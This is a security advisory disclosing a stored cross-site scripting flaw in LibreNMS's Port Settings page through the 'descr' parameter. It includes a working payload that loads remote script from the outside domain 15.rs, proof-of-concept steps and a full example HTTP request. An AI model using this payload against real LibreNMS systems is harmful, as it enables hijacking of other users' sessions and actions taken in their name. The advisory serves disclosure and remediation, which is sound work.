LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.phpGHSA-7663-37rg-c377

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions.

Details

When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter: lo'"><script/src=//15.rs>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The payload triggers when the "Port Settings" page is visited, exploiting the $port->ifAlias variable in the application. The sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82

PoC

1. Edit a device's port settings using the following payload in the "descr" parameter: lo'"><script/src=//15.rs>
2. Save the changes.
3. Navigate to the "Port Settings" page of the device.
4. Observe that the injected script executes.

Example Request:

POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

type=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&port_id=1&device_id=1

Impact

This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.